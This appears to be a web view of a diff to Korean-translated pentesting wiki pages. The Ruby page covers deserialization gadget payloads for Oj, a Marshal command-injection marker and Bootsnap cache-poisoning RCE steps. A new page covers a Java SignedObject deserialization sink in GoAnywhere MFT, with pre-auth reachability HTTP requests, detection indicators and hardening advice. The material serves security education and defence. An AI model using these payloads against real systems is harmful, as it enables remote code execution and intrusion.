||||
|
||||
[Ruby _json 오염 페이지에서 더 많은 정보를 확인하세요](ruby-_json-pollution.md).
|
||||
자세한 내용은 [Ruby _json pollution page](ruby-_json-pollution.md)를 확인하세요.
|
||||
|
||||
### 기타 라이브러리
|
||||
### Other libraries
|
||||
|
||||
이 기술은 [**이 블로그 게시물에서**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared) 가져온 것입니다.
|
||||
이 기법은[ **from this blog post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared)에서 가져왔습니다.
|
||||
|
||||
객체를 직렬화하는 데 사용할 수 있는 다른 Ruby 라이브러리가 있으며, 따라서 불안전한 역직렬화 중에 RCE를 얻기 위해 악용될 수 있습니다. 다음 표는 이러한 라이브러리 중 일부와 역직렬화될 때 로드된 라이브러리의 메서드를 보여줍니다(기본적으로 RCE를 얻기 위해 악용할 함수):
|
||||
다른 Ruby 라이브러리들도 객체를 serialize하는 데 사용될 수 있으며, 따라서 불안전한 역직렬화 과정에서 RCE를 얻기 위해 악용될 수 있습니다. 다음 표는 이러한 라이브러리들 중 일부와, 역직렬화될 때 로드된 클래스 내부에서 호출되는 메서드(기본적으로 RCE를 얻기 위해 악용할 수 있는 함수)를 보여줍니다:
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Library</strong></td><td><strong>Input data</strong></td><td><strong>Kick-off method inside class</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (class needs to be put into hash(map) as key)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([see notes regarding json_create at end](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>라이브러리</strong></td><td><strong>입력 데이터</strong></td><td><strong>클래스 내부에서 시작되는 메서드</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (클래스를 hash(map)의 키로 넣어야 함)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (클래스를 hash(map)의 키로 넣어야 함)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (클래스를 hash(map)의 키로 넣어야 함)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([see notes regarding json_create at end](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
|
||||
기본 예:
|
||||
Basic example:
|
||||
```ruby
|
||||
# Existing Ruby class inside the code of the app
|
||||
class SimpleClass
|
||||
@ -943,7 +971,7 @@ puts json_payload
|
||||
# Sink vulnerable inside the code accepting user input as json_payload
|
||||
Oj.load(json_payload)
|
||||
```
|
||||
Oj를 악용하려고 시도한 경우, `hash` 함수 내에서 `to_s`를 호출하는 가젯 클래스를 찾을 수 있었으며, 이는 spec을 호출하고, fetch_path를 호출하여 무작위 URL을 가져오도록 만들 수 있었습니다. 이는 이러한 종류의 비위생적인 역직렬화 취약점을 탐지하는 데 큰 도움이 됩니다.
|
||||
Oj를 악용하려 시도할 경우, `hash` 함수 내부에서 `to_s`를 호출하고, `to_s`가 spec을 호출하며, spec이 fetch_path를 호출하도록 하는 gadget class를 찾아 임의의 URL을 가져오게 만들 수 있었고, 이는 이러한 종류의 unsanitized deserialization vulnerabilities를 탐지하는 훌륭한 방법을 제공했다.
|
||||
```json
|
||||
{
|
||||
"^o": "URI::HTTP",
|
||||
@ -955,7 +983,7 @@ Oj를 악용하려고 시도한 경우, `hash` 함수 내에서 `to_s`를 호출
|
||||
"password": "anypw"
|
||||
}
|
||||
```
|
||||
또한, 이전 기술을 사용하면 시스템에 폴더가 생성된다는 것이 발견되었으며, 이는 다른 가젯을 악용하여 이를 완전한 RCE로 변환하는 데 필요한 조건입니다.
|
||||
또한, 앞선 기법으로 시스템에 폴더가 생성되는 것이 확인되었고, 이는 다른 gadget을 악용해 이를 완전한 RCE로 전환하기 위한 전제조건이다. 예를 들면:
|
||||
```json
|
||||
{
|
||||
"^o": "Gem::Resolver::SpecSpecification",
|
||||
@ -977,48 +1005,49 @@ Oj를 악용하려고 시도한 경우, `hash` 함수 내에서 `to_s`를 호출
|
||||
}
|
||||
}
|
||||
```
|
||||
Check for more details in the [**original post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
||||
자세한 내용은 [**original post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared)를 확인하세요.
|
||||
|
||||
### Bootstrap Caching
|
||||
### Bootstrap 캐싱
|
||||
|
||||
실제로는 deserialization 취약점이 아니지만, Rails 애플리케이션에서 임의 파일 쓰기를 통해 RCE를 얻기 위해 bootstrap 캐싱을 악용하는 멋진 트릭입니다 (완전한 [원본 게시물은 여기에서 확인하세요](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
|
||||
완전히 deserialization 취약점은 아니지만, arbitrary file write를 이용해 Bootsnap 캐싱을 악용해 Rails 애플리케이션에서 RCE를 얻는 멋진 기법입니다 (자세한 내용은 [original post in here](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/) 참조).
|
||||
|
||||
아래는 Bootsnap 캐싱을 악용하여 임의 파일 쓰기 취약점을 이용하는 방법에 대한 기사의 단계 요약입니다:
|
||||
아래는 Bootsnap 캐싱을 악용해 arbitrary file write 취약점을 익스플로잇하는 방법을 정리한 기사 내용의 간단 요약입니다:
|
||||
|
||||
- 취약점 및 환경 식별
|
||||
- Identify the Vulnerability and Environment
|
||||
|
||||
Rails 앱의 파일 업로드 기능은 공격자가 임의로 파일을 쓸 수 있게 합니다. 앱은 제한된 상태에서 실행되지만(특정 디렉토리만 쓰기 가능, 예: Docker의 비루트 사용자로 인해 tmp), 여전히 Bootsnap 캐시 디렉토리에 쓰는 것이 가능합니다(일반적으로 tmp/cache/bootsnap 아래).
|
||||
Rails 앱의 파일 업로드 기능이 공격자에게 파일을 임의로 쓸 수 있게 허용합니다. 앱은 제한된 권한(예: Docker의 non-root 사용자로 인해 tmp 등 특정 디렉토리만 쓰기가 가능)으로 실행되지만, 이로 인해 Bootsnap 캐시 디렉토리(일반적으로 tmp/cache/bootsnap)에 쓰는 것은 여전히 가능합니다.
|
||||
|
||||
- Bootsnap의 캐시 메커니즘 이해
|
||||
- Understand Bootsnap’s Cache Mechanism
|
||||
|
||||
Bootsnap은 컴파일된 Ruby 코드, YAML 및 JSON 파일을 캐싱하여 Rails 부팅 시간을 단축합니다. 캐시 파일은 캐시 키 헤더(예: Ruby 버전, 파일 크기, mtime, 컴파일 옵션 등)를 포함하고 그 뒤에 컴파일된 코드가 이어집니다. 이 헤더는 앱 시작 시 캐시를 검증하는 데 사용됩니다.
|
||||
Bootsnap은 컴파일된 Ruby 코드, YAML, JSON 파일을 캐싱하여 Rails 부팅 시간을 단축합니다. 캐시 파일은 cache key 헤더(예: Ruby 버전, 파일 크기, mtime, compile options 등 필드 포함)와 그 뒤에 이어지는 컴파일된 코드로 구성됩니다. 이 헤더는 앱 시작 시 캐시의 유효성을 검증하는 데 사용됩니다.
|
||||
|
||||
- 파일 메타데이터 수집
|
||||
- Gather File Metadata
|
||||
|
||||
공격자는 먼저 Rails 시작 시 로드될 가능성이 있는 대상 파일(예: Ruby의 표준 라이브러리에서 set.rb)을 선택합니다. 컨테이너 내에서 Ruby 코드를 실행하여 중요한 메타데이터(예: RUBY_VERSION, RUBY_REVISION, 크기, mtime, compile_option)를 추출합니다. 이 데이터는 유효한 캐시 키를 만드는 데 필수적입니다.
|
||||
공격자는 우선 Rails 시작 시 로드될 가능성이 높은 대상 파일(예: Ruby 표준 라이브러리의 set.rb)을 선택합니다. 컨테이너 내에서 Ruby 코드를 실행하여 RUBY_VERSION, RUBY_REVISION, size, mtime, compile_option 같은 중요한 메타데이터를 추출합니다. 이 데이터는 유효한 cache key를 만드는 데 필수적입니다.
|
||||
|
||||
- 캐시 파일 경로 계산
|
||||
- Compute the Cache File Path
|
||||
|
||||
Bootsnap의 FNV-1a 64비트 해시 메커니즘을 복제하여 올바른 캐시 파일 경로를 결정합니다. 이 단계는 악성 캐시 파일이 Bootsnap이 예상하는 정확한 위치에 배치되도록 보장합니다(예: tmp/cache/bootsnap/compile-cache-iseq/ 아래).
|
||||
Bootsnap의 FNV-1a 64-bit 해시 메커니즘을 모방하여 올바른 캐시 파일 경로를 결정합니다. 이 단계는 악의적 캐시 파일이 Bootsnap이 기대하는 정확한 위치(예: tmp/cache/bootsnap/compile-cache-iseq/)에 놓이도록 보장합니다.
|
||||
|
||||
- 악성 캐시 파일 만들기
|
||||
- Craft the Malicious Cache File
|
||||
|
||||
공격자는 다음을 수행하는 페이로드를 준비합니다:
|
||||
공격자는 다음을 수행하는 페이로드를 준비합니다:
|
||||
|
||||
- 임의의 명령을 실행합니다(예: 프로세스 정보를 보여주기 위해 id 실행).
|
||||
- 재귀적 악용을 방지하기 위해 실행 후 악성 캐시를 제거합니다.
|
||||
- 애플리케이션이 중단되지 않도록 원본 파일(예: set.rb)을 로드합니다.
|
||||
- 임의 명령 실행 (예: 프로세스 정보를 보기 위한 id 실행)
|
||||
- 실행 후 재귀적 악용을 방지하기 위해 악성 캐시 제거
|
||||
- 애플리케이션이 충돌하지 않도록 원본 파일(예: set.rb) 로드
|
||||
|
||||
이 페이로드는 이진 Ruby 코드로 컴파일되고, 이전에 수집한 메타데이터와 Bootsnap의 올바른 버전 번호를 사용하여 신중하게 구성된 캐시 키 헤더와 연결됩니다.
|
||||
이 페이로드는 바이너리 Ruby 코드로 컴파일되고, 앞서 수집한 메타데이터와 올바른 버전 번호를 사용해 정교하게 구성된 cache key 헤더와 이어붙여집니다.
|
||||
|
||||
- 덮어쓰기 및 실행 트리거
|
||||
임의 파일 쓰기 취약점을 사용하여 공격자는 계산된 위치에 제작된 캐시 파일을 씁니다. 다음으로, 서버 재시작을 트리거합니다(모니터링되는 tmp/restart.txt에 쓰기). 재시작 중에 Rails가 대상 파일을 요구할 때, 악성 캐시 파일이 로드되어 원격 코드 실행(RCE)이 발생합니다.
|
||||
- Overwrite and Trigger Execution
|
||||
|
||||
### Ruby Marshal exploitation in practice (updated)
|
||||
arbitrary file write 취약점을 이용해 공격자는 계산된 위치에 제작한 캐시 파일을 씁니다. 다음으로 tmp/restart.txt(이 파일을 Puma가 모니터링함)에 쓰는 방식으로 서버 재시작을 유발합니다. 재시작 중에 Rails가 대상 파일을 require할 때 악성 캐시 파일이 로드되어 RCE가 발생합니다.
|
||||
|
||||
신뢰할 수 없는 바이트가 `Marshal.load`/`marshal_load`에 도달하는 모든 경로를 RCE 싱크로 간주하십시오. Marshal은 임의의 객체 그래프를 재구성하고 물질화 중에 라이브러리/젬 콜백을 트리거합니다.
|
||||
### Ruby Marshal 실전 악용 (업데이트됨)
|
||||
|
||||
- 최소 취약한 Rails 코드 경로:
|
||||
신뢰할 수 없는 바이트가 `Marshal.load`/`marshal_load`에 도달하는 모든 경로를 RCE 싱크로 취급하세요. Marshal은 임의의 객체 그래프를 재구성하고 materialization 중에 라이브러리/젬 콜백을 트리거합니다.
|
||||
|
||||
- Minimal vulnerable Rails code path:
|
||||
```ruby
|
||||
class UserRestoreController < ApplicationController
|
||||
def show
|
||||
@ -1032,24 +1061,25 @@ end
|
||||
end
|
||||
end
|
||||
```
|
||||
- 실제 체인에서 볼 수 있는 일반적인 가젯 클래스: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`.
|
||||
- 페이로드에 내장된 전형적인 부작용 마커(언마샬 중 실행됨):
|
||||
- 실제 체인에서 흔히 보이는 gadget 클래스: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`.
|
||||
- 페이로드에 삽입된 전형적인 side-effect 마커 (unmarshal 중 실행):
|
||||
```
|
||||
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
|
||||
```
|
||||
실제 앱에서의 발생 위치:
|
||||
- 역사적으로 Marshal을 사용하는 Rails 캐시 저장소 및 세션 저장소
|
||||
- 백그라운드 작업 백엔드 및 파일 기반 객체 저장소
|
||||
- 이진 객체 블롭의 사용자 정의 지속성 또는 전송
|
||||
실제 애플리케이션에서 노출되는 곳:
|
||||
- Rails cache stores와 session stores — 역사적으로 Marshal 사용
|
||||
- Background job backends와 file-backed object stores
|
||||
- 바이너리 객체 blobs의 모든 커스텀 persistence 또는 전송
|
||||
|
||||
산업화된 gadget 발견:
|
||||
- unmarshal 중 호출되는 생성자, `hash`, `_load`, `init_with` 또는 부작용을 일으키는 메서드를 grep
|
||||
- CodeQL의 Ruby unsafe deserialization 쿼리를 사용해 sources → sinks를 추적하고 gadget을 찾아내기
|
||||
- 공개 다중 포맷 PoCs (JSON/XML/YAML/Marshal)로 검증
|
||||
|
||||
산업화된 가젯 발견:
|
||||
- 생성자, `hash`, `_load`, `init_with` 또는 언마샬 중 호출되는 부작용 메서드에 대해 Grep 사용
|
||||
- CodeQL의 Ruby 안전하지 않은 역직렬화 쿼리를 사용하여 소스 → 싱크를 추적하고 가젯을 표면화
|
||||
- 공개 다중 형식 PoC(JSON/XML/YAML/Marshal)로 검증
|
||||
|
||||
## References
|
||||
|
||||
- Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
|
||||
- Trail of Bits – Marshal madness: Ruby 역직렬화 익스플로잇의 간단한 역사: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
|
||||
- elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
|
||||
- Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
|
||||
- CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
|
||||
@ -1063,5 +1093,6 @@ end
|
||||
- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
|
||||
- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
|
||||
- Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
|
||||
- watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -0,0 +1,140 @@
|
||||
# Java SignedObject-gated Deserialization and Pre-auth Reachability via Error Paths
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
이 페이지는 java.security.SignedObject를 중심으로 구성된 일반적인 "guarded" Java deserialization 패턴과, 겉보기에는 도달 불가능한 sinks가 오류 처리 흐름을 통해 pre-auth로 도달 가능해질 수 있는 방법을 문서화합니다. 이 기법은 Fortra GoAnywhere MFT (CVE-2025-10035)에서 관찰되었지만 유사한 설계에도 적용됩니다.
|
||||
|
||||
## 위협 모델
|
||||
|
||||
- 공격자는 결국 직렬화된 SignedObject로 의도된 공격자가 제공한 byte[]를 처리하는 HTTP 엔드포인트에 접근할 수 있다.
|
||||
- 해당 코드는 validating wrapper(예: Apache Commons IO ValidatingObjectInputStream 또는 커스텀 어댑터)를 사용하여 최외곽 타입을 SignedObject(또는 byte[])로 제한한다.
|
||||
- SignedObject.getObject()가 반환하는 내부 객체에서 gadget chains(예: CommonsBeanutils1)이 트리거될 수 있지만, 이는 서명 검증 게이트 이후에만 가능하다.
|
||||
|
||||
## 일반적인 취약 패턴
|
||||
|
||||
com.linoma.license.gen2.BundleWorker.verify를 기반으로 한 단순화된 예:
|
||||
```java
|
||||
private static byte[] verify(byte[] payload, KeyConfig keyCfg) throws Exception {
|
||||
String sigAlg = "SHA1withDSA";
|
||||
if ("2".equals(keyCfg.getVersion())) {
|
||||
sigAlg = "SHA512withRSA"; // key version controls algorithm
|
||||
}
|
||||
PublicKey pub = getPublicKey(keyCfg);
|
||||
Signature sig = Signature.getInstance(sigAlg);
|
||||
|
||||
// 1) Outer, "guarded" deserialization restricted to SignedObject
|
||||
SignedObject so = (SignedObject) JavaSerializationUtilities.deserialize(
|
||||
payload, SignedObject.class, new Class[]{ byte[].class });
|
||||
|
||||
if (keyCfg.isServer()) {
|
||||
// Hardened server path
|
||||
return ((SignedContainer) JavaSerializationUtilities.deserializeUntrustedSignedObject(
|
||||
so, SignedContainer.class, new Class[]{ byte[].class }
|
||||
)).getData();
|
||||
} else {
|
||||
// 2) Signature check using a baked-in public key
|
||||
if (!so.verify(pub, sig)) {
|
||||
throw new IOException("Unable to verify signature!");
|
||||
}
|
||||
// 3) Inner object deserialization (potential gadget execution)
|
||||
SignedContainer inner = (SignedContainer) so.getObject();
|
||||
return inner.getData();
|
||||
}
|
||||
}
|
||||
```
|
||||
주요 관찰:
|
||||
- (1)에 있는 validating deserializer는 임의의 최상위 gadget classes를 차단하며, 오직 SignedObject (또는 raw byte[])만 허용한다.
|
||||
- RCE primitive는 (3)에서 SignedObject.getObject()로 실체화되는 inner object에 존재한다.
|
||||
- (2)의 signature gate는 SignedObject가 제품에 하드코딩된 공개 키로 verify()되어야 함을 강제한다. 공격자가 유효한 서명을 생성할 수 없으면 inner gadget은 결코 deserializes되지 않는다.
|
||||
|
||||
## 악용 고려사항
|
||||
|
||||
코드 실행을 달성하려면 공격자는 악성 gadget chain을 inner object로 감싼 올바르게 서명된 SignedObject를 전달해야 한다. 이는 일반적으로 다음 중 하나를 필요로 한다:
|
||||
|
||||
- Private key compromise: 제품이 license 객체를 서명/검증하는 데 사용하는 대응하는 개인 키를 획득.
|
||||
- Signing oracle: 공급업체나 신뢰된 서명 서비스에 공격자가 제어하는 serialized 콘텐츠에 서명하도록 강제(예: license server가 클라이언트 입력에서 임베디드된 임의 객체에 서명하는 경우).
|
||||
- Alternate reachable path: 서버 측 경로를 찾아 inner object를 verify()를 강제하지 않고 deserializes 하거나 특정 모드에서 서명 검사를 건너뛰게 함.
|
||||
|
||||
이 중 어느 것도 없으면, signature verification이 deserialization sink가 존재하더라도 악용을 방지한다.
|
||||
|
||||
## Pre-auth reachability via error-handling flows
|
||||
|
||||
deserialization endpoint가 인증이나 세션 바인딩 토큰을 요구하는 것처럼 보일지라도, 오류 처리 코드가 의도치 않게 토큰을 생성하여 인증되지 않은 세션에 첨부할 수 있다.
|
||||
|
||||
예제 도달성 체인 (GoAnywhere MFT):
|
||||
- Target servlet: /goanywhere/lic/accept/<GUID> 는 세션 바인딩된 license request token을 요구한다.
|
||||
- Error path: /goanywhere/license/Unlicensed.xhtml에 trailing junk와 잘못된 JSF 상태로 접근하면 AdminErrorHandlerServlet이 트리거되고, 다음을 수행한다:
|
||||
- SessionUtilities.generateLicenseRequestToken(session)
|
||||
- bundle=<...>에 서명된 license request와 함께 vendor license server로 리다이렉트
|
||||
- 해당 bundle은 오프라인에서 (hard-coded keys) 복호화하여 GUID를 복구할 수 있다. 동일한 세션 쿠키를 유지하고 attacker-controlled bundle bytes로 /goanywhere/lic/accept/<GUID>에 POST하면 SignedObject sink에 pre-auth로 도달한다.
|
||||
|
||||
도달성 증명(영향 없음) probe:
|
||||
```http
|
||||
GET /goanywhere/license/Unlicensed.xhtml/x?javax.faces.ViewState=x&GARequestAction=activate HTTP/1.1
|
||||
Host: <target>
|
||||
```
|
||||
- 패치되지 않음: 302 Location header to https://my.goanywhere.com/lic/request?bundle=... 및 Set-Cookie: ASESSIONID=...
|
||||
- 패치됨: bundle 없이 리디렉션(토큰 생성 없음).
|
||||
|
||||
## 블루팀 탐지
|
||||
|
||||
스택 트레이스/로그의 지표는 SignedObject-gated sink를 호출하려는 시도가 있었음을 강하게 시사합니다:
|
||||
```
|
||||
java.io.ObjectInputStream.readObject
|
||||
java.security.SignedObject.getObject
|
||||
com.linoma.license.gen2.BundleWorker.verify
|
||||
com.linoma.license.gen2.BundleWorker.unbundle
|
||||
com.linoma.license.gen2.LicenseController.getResponse
|
||||
com.linoma.license.gen2.LicenseAPI.getResponse
|
||||
com.linoma.ga.ui.admin.servlet.LicenseResponseServlet.doPost
|
||||
```
|
||||
## 하드닝 지침
|
||||
|
||||
- 모든 getObject() 호출 전에 서명 검증을 수행하고, 검증이 의도된 공개 키/알고리즘을 사용하도록 확인하세요.
|
||||
- 직접적인 SignedObject.getObject() 호출을 내부 스트림에 대해 필터링을 재적용하는 하드닝된 래퍼(예: ValidatingObjectInputStream/ObjectInputFilter allow-lists를 사용하는 deserializeUntrustedSignedObject)로 교체하세요.
|
||||
- 인증되지 않은 사용자에게 session-bound 토큰을 발급하는 오류 처리 흐름을 제거하세요. 오류 경로를 공격 표면으로 간주하세요.
|
||||
- 외부 및 내부 역직렬화 모두에 대해 엄격한 allow-lists를 적용한 Java serialization filters (JEP 290)를 권장합니다. 예:
|
||||
```java
|
||||
ObjectInputFilter filter = info -> {
|
||||
Class<?> c = info.serialClass();
|
||||
if (c == null) return ObjectInputFilter.Status.UNDECIDED;
|
||||
if (c == java.security.SignedObject.class || c == byte[].class) return ObjectInputFilter.Status.ALLOWED;
|
||||
return ObjectInputFilter.Status.REJECTED; // outer layer
|
||||
};
|
||||
ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
// For the inner object, apply a separate strict DTO allow-list
|
||||
```
|
||||
## 예시 공격 체인 요약 (CVE-2025-10035)
|
||||
|
||||
1) Pre-auth token minting via error handler:
|
||||
```http
|
||||
GET /goanywhere/license/Unlicensed.xhtml/watchTowr?javax.faces.ViewState=watchTowr&GARequestAction=activate
|
||||
```
|
||||
bundle=... 및 ASESSIONID=...가 포함된 302 응답을 수신; 오프라인에서 bundle을 decrypt하여 GUID를 복구.
|
||||
|
||||
2) 동일한 cookie로 pre-auth 상태에서 sink에 도달:
|
||||
```http
|
||||
POST /goanywhere/lic/accept/<GUID> HTTP/1.1
|
||||
Cookie: ASESSIONID=<value>
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
bundle=<attacker-controlled-bytes>
|
||||
```
|
||||
3) RCE requires a correctly signed SignedObject wrapping a gadget chain. 연구자들은 서명 검증(signature verification)을 우회할 수 없었으며; 악용은 일치하는 private key 또는 signing oracle에 대한 접근에 달려 있습니다.
|
||||
|
||||
## 수정된 버전 및 동작 변경사항
|
||||
|
||||
- GoAnywhere MFT 7.8.4 및 Sustain Release 7.6.3:
|
||||
- 내부 역직렬화(inner deserialization)를 강화하기 위해 SignedObject.getObject()를 래퍼(deserializeUntrustedSignedObject)로 교체.
|
||||
- error-handler 토큰 생성 제거로 pre-auth 접근 가능성 차단.
|
||||
|
||||
## JSF/ViewState 관련 메모
|
||||
|
||||
해당 도달성(reachability) 트릭은 JSF 페이지(.xhtml)와 잘못된 javax.faces.ViewState를 이용해 권한 있는 error handler로 경로를 유도합니다. 이는 JSF 역직렬화 문제는 아니지만, 반복되는 pre-auth 패턴으로—권한 있는 동작을 수행하고 보안 관련 세션 속성을 설정하는 error handler로 침투하는 방식입니다.
|
||||
|
||||
## References
|
||||
|
||||
- [watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035](https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/)
|
||||
- [Fortra advisory FI-2025-012 – Deserialization Vulnerability in GoAnywhere MFT's License Servlet](https://www.fortra.com/security/advisories/product-security/fi-2025-012)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user